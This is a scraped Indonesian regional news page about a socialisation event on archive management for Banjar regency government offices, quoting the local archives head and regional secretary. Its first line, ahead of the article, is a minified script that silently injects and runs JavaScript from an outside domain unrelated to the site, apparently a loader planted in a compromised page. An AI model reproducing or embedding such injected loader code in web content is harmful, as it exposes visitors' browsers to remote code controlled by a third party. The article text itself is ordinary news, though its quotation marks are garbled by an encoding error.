(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, “Arsip Hilang Aset Melayangâ€Â. Penting mengelola sistem manajemen kearsipan dengan tujuan menciptakan pendistribusian, penggunaan, penyimpanan dan penemuan kembali, Dinas Perpustakaan dan Kearsipan Kabupaten Banjar menggelar sosialisasi kearsipan bagi pengelola kearsipan di lingkungan Pemkab Banjar, Kamis (18/10).
Kepala Dinas Perpustakaan dan Kearsipan Kabupaten Banjar Dra Yasna Khairina mengatakan, selama ini kearsipan yang ada di setiap Satuan Kerja Perangkat Daerah (SKPD) maupun instansi pemerintah masih belum jelas sistem pengelolaannya. Seperti penumpukan kertas yang masih belum terfokus per-folder, rata-rata setiap instansi masih belum menyadari akan pentingnya kearsipan tersebut.
“Segala apapun kegiatan yang dibiayai oleh negara itu wajib untuk dijaga kearsipannya, itulah pentingnya menjaga kearsipan sehingga kearsipan tersebut harus terus diperhatikan,†ujarnya.
Ketika ditanya Kanal Kalimantan soal pengelolan kearsipan yang sudah diterapkan di setiap SKPD, Yasna mengatakan, penyusunan maupun pengelolaan kearsipan di SKPD masih sangat kurang diperhatikan, mengingat tidak adanya orang yang dikhususkan untuk menjaga dan mengelola kearasipan.
“Pengarsipan di beberapa SKPD di Kabupaten Banjar masih sangat kurang, sampai penyimpanan saja kita harus ada pembinaan, padahal pengarsipan itu sangat penting,†akunya.
Untuk memastikan kearsipan yang ada di setiap SKPD dikelola dengan baik, pihaknya akan melakukan pemantauan melalui monitoring dan pendampingan penataan secara rutin. Untuk memastikan kearsipan dikelola dengan baik, hingga bisa mandiri.
Sekda Banjar Ir H Nasrunsyah mengatakan, pentingya penyusunan dan pengelolaan pengarsipan itu memang sangat dirasakan dan harus diperlukan berbagai upaya untuk mempermudah pencarian data-data yang dianggap penting di setiap SKPD lingkup pemerintahan di Kabupaten Banjar.
“Solusinya adalah harus ada pembagian orang yang jelas dan khusus ditunjuk per SKPD untuk mengurus kearsipan masing-masing, sekarang itu tidak ada, semoga kedepan bisa terlaksana seperti itu,†ujarnya. (rendy)
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.